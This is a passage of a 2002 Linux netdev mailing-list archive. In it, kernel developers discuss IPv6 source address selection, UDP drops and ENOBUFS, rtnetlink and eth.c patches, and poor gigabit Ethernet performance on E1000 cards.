Precedence: bulk X-list: netdev Xiaoliang Wei writes: > Hi, > Did you do the experiments on WAN or LAN? What's the other > configurations, such as: The sending/receiving buffer(I think it > should be larger than Bandwidth*Delay)? This is all on a LAN (of course; expecting good performance from a WAN is pretty futile). I use a buffer size of 256 KiB. Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From pekkas@netcore.fi Sun Sep 29 01:41:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 01:41:58 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8T8fntG014750 for ; Sun, 29 Sep 2002 01:41:50 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g8T8fN727484; Sun, 29 Sep 2002 11:41:23 +0300 Date: Sun, 29 Sep 2002 11:41:23 +0300 (EEST) From: Pekka Savola To: kuznet@ms2.inr.ac.ru cc: davem@redhat.com, , , , Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection In-Reply-To: <200209280537.JAA03046@sex.inr.ac.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Sat, 28 Sep 2002 kuznet@ms2.inr.ac.ru wrote: > > Or would you have an already-sorted list of possible candidate addresses > > for each route in the order of preference? > > I am not mad yet. :-) > > What preference? You must select _one_ address, you do not need lost > candidates. In the case the first entry goes away, having a list could help being able to the next one to use very easily. But this probably just an implementation detail. > > And recalculate always when address changes? > > What address? Interface address? Routing tables used to be synchronized > to this. Any address. One notable case is that the outgoing interface has only link/site-local addresses and the destination is global. There are other cases too. > > This is IMO a wrong approach from user's perspective. Perhaps not if the > > algorithm was run and e.g. additional, temporary "address selection" > > routes were created by kernel. > > > > > > (stuff that's network prefix -independent > > > > > > I am sorry, I feel I do not understand what you mean. > > > > Hmm.. this depends on the interpretation of the concept above. If the > > list is refreshed always when addresses change or change state, this could > > perhaps work.. > > I am afraid I do not understand what "address", "state", "temporary" routes > etc you mean. It remained in your brains. :-) > > Pekka, are you not going to sleep? (I am.) I bet when you reread this tomorrow, > you will not blame that my brains eventually falled to "parse error" loop. :-) I had already woken up :-). At least BSD and I think Linux create ad-hoc, "cloned" routes e.g. in Path MTU discovery process to hold some different values. I don't remember the details. I was wondering if this would be done the same or not. change state = move to deprecated, move to non-deprecated. Hope this clarifies. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From hadi@cyberus.ca Sun Sep 29 07:55:30 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 07:55:33 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TEtTtG003477 for ; Sun, 29 Sep 2002 07:55:29 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id KAA09520; Sun, 29 Sep 2002 10:55:25 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8TElnk10559; Sun, 29 Sep 2002 10:48:16 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Sun, 29 Sep 2002 10:47:48 -0400 (EDT) From: jamal To: Matti Aarnio @shell.cyberus.ca@shell.cyberus.ca cc: Eric Lemoine , Subject: Re: udp weirdness In-Reply-To: <20020927150412.GI30392@mea-ext.zmailer.org> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-824023566-1033310868=:8253" X-archive-position: 403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-824023566-1033310868=:8253 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Ok, understood. Actually we already seem to have enobufs being returned. Eric, Does the attached patch fix it? Not tested or even compiled. Someone going to change the manpages? cheers, jamal On Fri, 27 Sep 2002, Matti Aarnio wrote: > On Fri, Sep 27, 2002 at 10:53:00AM -0400, jamal wrote: > > On Fri, 27 Sep 2002, Eric Lemoine wrote: > > > > > I figured out that packets can be dropped in pfifo_fast_enqueue() > > > [the default qdisc's enqueue func], even though the driver/kernel > > > flow control has triggered. > ... > > What trigger do you suggest to wake up the process again? > > A better idea maybe to return something to the socket so it can > > manage things instead -- not sure what to return though that wouldnt > > break some standard; > > > "man sendto" error return codes: > > ENOBUFS > The output queue for a network interface was full. > This generally indicates that the interface has > stopped sending, but may be caused by transient > congestion. (This cannot occur in Linux, packets > are just silently dropped when a device queue over=AD > flows.) > > > cheers, > > jamal > > /Matti Aarnio > ---559023410-824023566-1033310868=:8253 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="enobuf.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="enobuf.patch" LS0tIGxpbnV4L25ldC9pcHY0L2lwX291dHB1dC5jCTIwMDIvMDkvMjkgMTA6 NDM6MTAJMS4xDQorKysgbGludXgvbmV0L2lwdjQvaXBfb3V0cHV0LmMJMjAw Mi8wOS8yOSAxMDo0MzoxMA0KQEAgLTYwMyw4ICs2MDMsMTEgQEANCiAJCWVy ciA9IE5GX0hPT0soUEZfSU5FVCwgTkZfSVBfTE9DQUxfT1VULCBza2IsIE5V TEwsIA0KIAkJCSAgICAgIHNrYi0+ZHN0LT5kZXYsIG91dHB1dF9tYXliZV9y ZXJvdXRlKTsNCiAJCWlmIChlcnIpIHsNCi0JCQlpZiAoZXJyID4gMCkNCi0J CQkJZXJyID0gc2stPnByb3RpbmZvLmFmX2luZXQucmVjdmVyciA/IG5ldF94 bWl0X2Vycm5vKGVycikgOiAwOw0KKwkJCWlmIChlcnIgPiAwKSB7DQorCQkJ CWVyciA9IG5ldF94bWl0X2Vycm5vKGVycik7DQorCQkJCWlmIChlcnIgJiYg c2stPnByb3RpbmZvLmFmX2luZXQucmVjdmVycikNCisJCQkJICAgICAgIHNr LT5wcm90aW5mby5hZl9pbmV0LnJlY3ZlcnIgPSBlcnI7DQorCQkJfQ0KIAkJ CWlmIChlcnIpDQogCQkJCWdvdG8gZXJyb3I7DQogCQl9DQpAQCAtNzEzLDgg KzcxNiwxMSBAQA0KIA0KIAllcnIgPSBORl9IT09LKFBGX0lORVQsIE5GX0lQ X0xPQ0FMX09VVCwgc2tiLCBOVUxMLCBydC0+dS5kc3QuZGV2LA0KIAkJICAg ICAgb3V0cHV0X21heWJlX3Jlcm91dGUpOw0KLQlpZiAoZXJyID4gMCkNCi0J CWVyciA9IHNrLT5wcm90aW5mby5hZl9pbmV0LnJlY3ZlcnIgPyBuZXRfeG1p dF9lcnJubyhlcnIpIDogMDsNCisJaWYgKGVyciA+IDApIHsNCisJCWVyciA9 IG5ldF94bWl0X2Vycm5vKGVycik7DQorCQlpZiAoZXJyICYmIHNrLT5wcm90 aW5mby5hZl9pbmV0LnJlY3ZlcnIpDQorCQkgICAgICAgCSBzay0+cHJvdGlu Zm8uYWZfaW5ldC5yZWN2ZXJyID0gZXJyOw0KKwl9DQogCWlmIChlcnIpDQog CQlnb3RvIGVycm9yOw0KIG91dDoNCg== ---559023410-824023566-1033310868=:8253-- From hadi@cyberus.ca Sun Sep 29 08:16:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 08:16:23 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TFGLtG004060 for ; Sun, 29 Sep 2002 08:16:21 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id LAA13578; Sun, 29 Sep 2002 11:16:20 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8TF9B110681; Sun, 29 Sep 2002 11:09:11 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Sun, 29 Sep 2002 11:09:10 -0400 (EDT) From: jamal To: cc: "Patrick R. McManus" , Subject: Re: netlink sockets and rtm_newlink messages In-Reply-To: <200209271555.TAA21348@sex.inr.ac.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Alexey, So that you dont forget, heres the patch: --------------------------------------------------- --- net/core/rtnetlink.c 2002/09/29 10:41:08 1.1 +++ net/core/rtnetlink.c 2002/09/29 10:41:58 @@ -496,7 +496,6 @@ break; case NETDEV_UP: case NETDEV_DOWN: - rtmsg_ifinfo(RTM_NEWLINK, dev, IFF_UP|IFF_RUNNING); break; case NETDEV_CHANGE: case NETDEV_GOING_DOWN: ------------------ Wouldnt that spot be the best for NETDEV_UP/DOWN since thats the notifier callback? Also, can you remind me what if_change was for? netcarrier events? cheers, jamal On Fri, 27 Sep 2002 kuznet@ms2.inr.ac.ru wrote: > Hello! > > > the messages weren't identical > > One of them is a mud. Apparently, I forgot to delete the line > rtmsg_ifinfo(RTM_NEWLINK, dev, IFF_UP|IFF_RUNNING) > in rtnetlink_event(). > > Alexey > > > From kai-germaschewski@uiowa.edu Sun Sep 29 11:35:01 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 11:35:08 -0700 (PDT) Received: from chaos.physics.uiowa.edu (chaos.physics.uiowa.edu [128.255.34.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TIZ1tG006183 for ; Sun, 29 Sep 2002 11:35:01 -0700 Received: from localhost (kai@localhost) by chaos.physics.uiowa.edu (8.11.6/8.11.6) with ESMTP id g8TIYx428722; Sun, 29 Sep 2002 13:34:59 -0500 X-Authentication-Warning: chaos.physics.uiowa.edu: kai owned process doing -bs Date: Sun, 29 Sep 2002 13:34:59 -0500 (CDT) From: Kai Germaschewski X-X-Sender: kai@chaos.physics.uiowa.edu To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [BK PATCH] Make eth.c independent of dev->hard_header_len Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kai-germaschewski@uiowa.edu Precedence: bulk X-list: netdev Dave, I'd like to submit to small changes to net/ethernet/eth.c, which makes it work independently of the value of dev->hard_header_len. It does not change any existing behavior, since for eth_header(), only the sign of the return value is changed anyway and eth_type_trans() is only used for devices where dev->hard_header_len == ETH_HLEN anyway. This patch makes (IMO) eth.c more robust by using ETH_HLEN instead. eth_header() already does a skb_push(, ETH_HLEN) anyway, so it makes more sense to return ETH_HLEN instead of ->hard_header_len. eth_trans_type() does a skb_pull(, dev->hard_header_len), which is inconsistent, since it interprets the pulled header as struct ethhdr, which is ETH_HLEN long. It does not really make a difference currently, since dev->hard_header_len == ETH_HLEN for all users. However, there are (at least) two places in the tree which use their private copy of eth_type_trans() since they have a non-standard dev->hard_header_len and thus cannot use the generic function. These two csets do not change the behavior for existing code, but remove all references to dev->hard_header_len in net/ethernet/eth.c and thus make these functions useful for other devices which have a non-standard dev->hard_header_len ("ethernet over ISDN", e.g.). --Kai Pull from http://linux-isdn.bkbits.net/linux-2.5.net (Merging changesets omitted for clarity) ----------------------------------------------------------------------------- ChangeSet@1.635, 2002-09-29 13:00:13-05:00, kai@tp1.ruhr-uni-bochum.de NET: Do not use dev->hard_header_len in eth_header() The actual return value of eth_header() is never used, only its sign. So it does not make a difference if we return dev->hard_header_len or ETH_HLEN, but the latter makes more sense as that is the number of bytes we added to the front of the frame. For 99% of the drivers, dev->hard_header_len == ETH_HLEN, so no difference at all, but if a driver actually needs additional headroom and thus has dev->hard_header_len > ETH_HLEN, the process of building the ethernet header should not care at all. ---------------------------------------------------------------------------- eth.c | 6 +++--- 1 files changed, 3 insertions(+), 3 deletions(-) ----------------------------------------------------------------------------- ChangeSet@1.636, 2002-09-29 13:08:19-05:00, kai@tp1.ruhr-uni-bochum.de NET: Do not use dev->hard_header_len in eth_type_trans() eth_type_trans() currently pulls dev->hard_header_len off a frame passed to it, however always interpreting it as a ethernet header. Grepping shows that it is only used on net devices where dev->hard_header_len == ETH_HLEN. It makes more sense to actually pull of ETH_HLEN for the header (it's treated as a struct of the length anyway), not changing the behavior for the existing users but allowing two places which had to use their private copies of eth_trans_type to use the generic routine now. One place is in drivers/net/hamachi.c and converted in this cset, the other one is in the ISDN network code, patch will follow. ---------------------------------------------------------------------------- drivers/net/hamachi.c | 63 -------------------------------------------------- net/ethernet/eth.c | 2 - 2 files changed, 1 insertion(+), 64 deletions(-) ============================================================================= unified diffs follow for reference ============================================================================= ----------------------------------------------------------------------------- ChangeSet@1.635, 2002-09-29 13:00:13-05:00, kai@tp1.ruhr-uni-bochum.de NET: Do not use dev->hard_header_len in eth_header() The actual return value of eth_header() is never used, only its sign. So it does not make a difference if we return dev->hard_header_len or ETH_HLEN, but the latter makes more sense as that is the number of bytes we added to the front of the frame. For 99% of the drivers, dev->hard_header_len == ETH_HLEN, so no difference at all, but if a driver actually needs additional headroom and thus has dev->hard_header_len > ETH_HLEN, the process of building the ethernet header should not care at all. --------------------------------------------------------------------------- diff -Nru a/net/ethernet/eth.c b/net/ethernet/eth.c --- a/net/ethernet/eth.c Sun Sep 29 13:10:35 2002 +++ b/net/ethernet/eth.c Sun Sep 29 13:10:35 2002 @@ -103,16 +103,16 @@ if (dev->flags & (IFF_LOOPBACK|IFF_NOARP)) { memset(eth->h_dest, 0, dev->addr_len); - return(dev->hard_header_len); + return ETH_HLEN; } if(daddr) { memcpy(eth->h_dest,daddr,dev->addr_len); - return dev->hard_header_len; + return ETH_HLEN; } - return -dev->hard_header_len; + return -ETH_HLEN; } ----------------------------------------------------------------------------- ChangeSet@1.636, 2002-09-29 13:08:19-05:00, kai@tp1.ruhr-uni-bochum.de NET: Do not use dev->hard_header_len in eth_type_trans() eth_type_trans() currently pulls dev->hard_header_len off a frame passed to it, however always interpreting it as a ethernet header. Grepping shows that it is only used on net devices where dev->hard_header_len == ETH_HLEN. It makes more sense to actually pull of ETH_HLEN for the header (it's treated as a struct of the length anyway), not changing the behavior for the existing users but allowing two places which had to use their private copies of eth_trans_type to use the generic routine now. One place is in drivers/net/hamachi.c and converted in this cset, the other one is in the ISDN network code, patch will follow. --------------------------------------------------------------------------- diff -Nru a/drivers/net/hamachi.c b/drivers/net/hamachi.c --- a/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 +++ b/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 @@ -1460,64 +1460,6 @@ spin_unlock(&hmp->lock); } -#ifdef TX_CHECKSUM -/* - * Copied from eth_type_trans(), with reduced header, since we don't - * get it on RX, only on TX. - */ -static unsigned short hamachi_eth_type_trans(struct sk_buff *skb, - struct net_device *dev) -{ - struct ethhdr *eth; - unsigned char *rawp; - - skb->mac.raw=skb->data; - skb_pull(skb,dev->hard_header_len-8); /* artificially enlarged on tx */ - eth= skb->mac.ethernet; - - if(*eth->h_dest&1) - { - if(memcmp(eth->h_dest,dev->broadcast, ETH_ALEN)==0) - skb->pkt_type=PACKET_BROADCAST; - else - skb->pkt_type=PACKET_MULTICAST; - } - - /* - * This ALLMULTI check should be redundant by 1.4 - * so don't forget to remove it. - * - * Seems, you forgot to remove it. All silly devices - * seems to set IFF_PROMISC. - */ - - else if(dev->flags&(IFF_PROMISC/*|IFF_ALLMULTI*/)) - { - if(memcmp(eth->h_dest,dev->dev_addr, ETH_ALEN)) - skb->pkt_type=PACKET_OTHERHOST; - } - - if (ntohs(eth->h_proto) >= 1536) - return eth->h_proto; - - rawp = skb->data; - - /* - * This is a magic hack to spot IPX packets. Older Novell breaks - * the protocol design and runs IPX over 802.3 without an 802.2 LLC - * layer. We look for FFFF which isn't a used 802.2 SSAP/DSAP. This - * won't work for fault tolerant netware but does for the rest. - */ - if (*(unsigned short *)rawp == 0xFFFF) - return htons(ETH_P_802_3); - - /* - * Real 802.2 LLC - */ - return htons(ETH_P_802_2); -} -#endif /* TX_CHECKSUM */ - /* This routine is logically part of the interrupt handler, but seperated for clarity and better register allocation. */ static int hamachi_rx(struct net_device *dev) @@ -1622,12 +1564,7 @@ skb_put(skb = hmp->rx_skbuff[entry], pkt_len); hmp->rx_skbuff[entry] = NULL; } -#ifdef TX_CHECKSUM - /* account for extra TX hard_header bytes */ - skb->protocol = hamachi_eth_type_trans(skb, dev); -#else skb->protocol = eth_type_trans(skb, dev); -#endif #ifdef RX_CHECKSUM diff -Nru a/net/ethernet/eth.c b/net/ethernet/eth.c --- a/net/ethernet/eth.c Sun Sep 29 13:10:36 2002 +++ b/net/ethernet/eth.c Sun Sep 29 13:10:36 2002 @@ -161,7 +161,7 @@ unsigned char *rawp; skb->mac.raw=skb->data; - skb_pull(skb,dev->hard_header_len); + skb_pull(skb,ETH_HLEN); eth= skb->mac.ethernet; if(*eth->h_dest&1) From jgarzik@pobox.com Sun Sep 29 11:45:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 11:45:53 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TIjotG006588 for ; Sun, 29 Sep 2002 11:45:51 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=pobox.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17vj4e-00045M-00; Sun, 29 Sep 2002 19:45:49 +0100 Message-ID: <3D974A3D.40207@pobox.com> Date: Sun, 29 Sep 2002 14:45:17 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kai Germaschewski CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [BK PATCH] Make eth.c independent of dev->hard_header_len References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Kai Germaschewski wrote: > --- a/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 > +++ b/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 I would prefer to keep the code inside TX_CHECKSUM in hamachi.c, hoping somebody will complete it, not rip it out :) From kai-germaschewski@uiowa.edu Sun Sep 29 12:09:13 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 12:09:16 -0700 (PDT) Received: from chaos.physics.uiowa.edu (chaos.physics.uiowa.edu [128.255.34.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TJ9DtG007192 for ; Sun, 29 Sep 2002 12:09:13 -0700 Received: from localhost (kai@localhost) by chaos.physics.uiowa.edu (8.11.6/8.11.6) with ESMTP id g8TJ9Bm29414; Sun, 29 Sep 2002 14:09:11 -0500 X-Authentication-Warning: chaos.physics.uiowa.edu: kai owned process doing -bs Date: Sun, 29 Sep 2002 14:09:11 -0500 (CDT) From: Kai Germaschewski X-X-Sender: kai@chaos.physics.uiowa.edu To: Jeff Garzik cc: "David S. Miller" , Subject: Re: [BK PATCH] Make eth.c independent of dev->hard_header_len In-Reply-To: <3D974A3D.40207@pobox.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kai-germaschewski@uiowa.edu Precedence: bulk X-list: netdev On Sun, 29 Sep 2002, Jeff Garzik wrote: > Kai Germaschewski wrote: > > --- a/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 > > +++ b/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 > > I would prefer to keep the code inside TX_CHECKSUM in hamachi.c, hoping > somebody will complete it, not rip it out :) I didn't really rip out anything. I just removed code cut'n'pasted from net/ethernet/eth.c (+ slight modification to handle dev->hard_header_len != ETH_HLEN), since after the change we can use the generic eth_trans_type() directly. The TX checksum thing is not at all affected by that piece of code. --Kai From rgooch@vindaloo.ras.ucalgary.ca Sun Sep 29 12:22:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 12:22:34 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TJMRtG007601 for ; Sun, 29 Sep 2002 12:22:30 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8TJMA312403; Sun, 29 Sep 2002 13:22:10 -0600 Date: Sun, 29 Sep 2002 13:22:10 -0600 Message-Id: <200209291922.g8TJMA312403@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: Ben Greear Cc: netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* In-Reply-To: <3D966656.7040205@candelatech.com> References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <3D966656.7040205@candelatech.com> X-archive-position: 408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Ben Greear writes: > Richard Gooch wrote: > > Hi, all. For a while now I've noticed poor performance with gige > > cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because > > of the cheap-ass Addtron cards I bought (these use the ns83820 chip). > > But now that the Intel E1000 cards are pretty cheap too, I've grabbed > > a couple (part number: PWLA8390MT) and see the same problem. In fact, > > the E1000 cards are no better than the Addtron cards. I'm using the > > D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. > > Try setting the TxDescriptors=4096 RxDescriptors=1024 when loading the > e1000 module, that helps tremendously when using smaller packets. Didn't help at all. Just to summarise, I've got: options e1000 TxDescriptors=4096 RxDescriptors=1024 net.ipv4.tcp_rmem = 262144 262144 262144 net.ipv4.tcp_wmem = 262144 262144 262144 MTU=1500 I'm doing read(2)/write(2) to/from a user-space buffer over a TCP socket with 256 KiB buffer size. Is the E1000 supposed to have hardware interrupt mitigation (thus avoiding the need for NAPI)? Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From greearb@candelatech.com Sun Sep 29 12:33:02 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 12:33:04 -0700 (PDT) Received: from grok.yi.org (IDENT:jpz4+9p+fOL9rW6QbrnpLSiz7zE8gZbJ@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TJX0tG008015 for ; Sun, 29 Sep 2002 12:33:01 -0700 Received: from candelatech.com (IDENT:WoO2sAP8LyNXn/ITyKyAWrVDJAzi6GDf@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8TJWcv14096; Sun, 29 Sep 2002 12:32:38 -0700 Message-ID: <3D975556.5070706@candelatech.com> Date: Sun, 29 Sep 2002 12:32:38 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Richard Gooch CC: netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <3D966656.7040205@candelatech.com> <200209291922.g8TJMA312403@vindaloo.ras.ucalgary.ca> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Richard Gooch wrote: > Ben Greear writes: > >>Richard Gooch wrote: >> >>> Hi, all. For a while now I've noticed poor performance with gige >>>cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because >>>of the cheap-ass Addtron cards I bought (these use the ns83820 chip). >>>But now that the Intel E1000 cards are pretty cheap too, I've grabbed >>>a couple (part number: PWLA8390MT) and see the same problem. In fact, >>>the E1000 cards are no better than the Addtron cards. I'm using the >>>D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. >> >>Try setting the TxDescriptors=4096 RxDescriptors=1024 when loading the >>e1000 module, that helps tremendously when using smaller packets. > > > Didn't help at all. Just to summarise, I've got: > options e1000 TxDescriptors=4096 RxDescriptors=1024 > net.ipv4.tcp_rmem = 262144 262144 262144 > net.ipv4.tcp_wmem = 262144 262144 262144 > MTU=1500 > > I'm doing read(2)/write(2) to/from a user-space buffer over a TCP > socket with 256 KiB buffer size. > > Is the E1000 supposed to have hardware interrupt mitigation (thus > avoiding the need for NAPI)? NAPI did not greatly improve the performance I saw with larger packets, but it did help with smaller (say, 60 byte) packets. One other thing I saw with TCP connections: They started off slow, but after a few seconds they were reacing their peak throughput. How long are you running your test? Ben > > Regards, > > Richard.... > Permanent: rgooch@atnf.csiro.au > Current: rgooch@ras.ucalgary.ca > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From rgooch@vindaloo.ras.ucalgary.ca Sun Sep 29 13:54:36 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 13:54:39 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TKsYtG009517 for ; Sun, 29 Sep 2002 13:54:36 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8TKsQv14870; Sun, 29 Sep 2002 14:54:26 -0600 Date: Sun, 29 Sep 2002 14:54:26 -0600 Message-Id: <200209292054.g8TKsQv14870@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: Ben Greear Cc: netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* In-Reply-To: <3D975556.5070706@candelatech.com> References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <3D966656.7040205@candelatech.com> <200209291922.g8TJMA312403@vindaloo.ras.ucalgary.ca> <3D975556.5070706@candelatech.com> X-archive-position: 410 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Ben Greear writes: > Richard Gooch wrote: > > Ben Greear writes: > > > >>Richard Gooch wrote: > >> > >>> Hi, all. For a while now I've noticed poor performance with gige > >>>cards under 2.4.19 and 2.4.20-pre*. At first I thought it was because > >>>of the cheap-ass Addtron cards I bought (these use the ns83820 chip). > >>>But now that the Intel E1000 cards are pretty cheap too, I've grabbed > >>>a couple (part number: PWLA8390MT) and see the same problem. In fact, > >>>the E1000 cards are no better than the Addtron cards. I'm using the > >>>D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. > >> > >>Try setting the TxDescriptors=4096 RxDescriptors=1024 when loading the > >>e1000 module, that helps tremendously when using smaller packets. > > > > Didn't help at all. Just to summarise, I've got: > > options e1000 TxDescriptors=4096 RxDescriptors=1024 > > net.ipv4.tcp_rmem = 262144 262144 262144 > > net.ipv4.tcp_wmem = 262144 262144 262144 > > MTU=1500 > > > > I'm doing read(2)/write(2) to/from a user-space buffer over a TCP > > socket with 256 KiB buffer size. > > > > Is the E1000 supposed to have hardware interrupt mitigation (thus > > avoiding the need for NAPI)? > > NAPI did not greatly improve the performance I saw with larger packets, > but it did help with smaller (say, 60 byte) packets. My packets should be 1500 bytes, or close to it. > One other thing I saw with TCP connections: They started off slow, > but after a few seconds they were reacing their peak throughput. > How long are you running your test? I normally send 100 MB, so that's around 2 seconds or more. Sending 1 GB doesn't change anything (other than the test taking 20 seconds or more). Oh, BTW: some possibly relevant config options: CONFIG_M686=y CONFIG_HIGHMEM4G=y # CONFIG_HIGHMEM64G is not set CONFIG_HIGHMEM=y CONFIG_HIGHIO=y CONFIG_SMP=y CONFIG_E1000=m Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From jgarzik@pobox.com Sun Sep 29 16:59:04 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 16:59:11 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8TNx2tG012379 for ; Sun, 29 Sep 2002 16:59:03 -0700 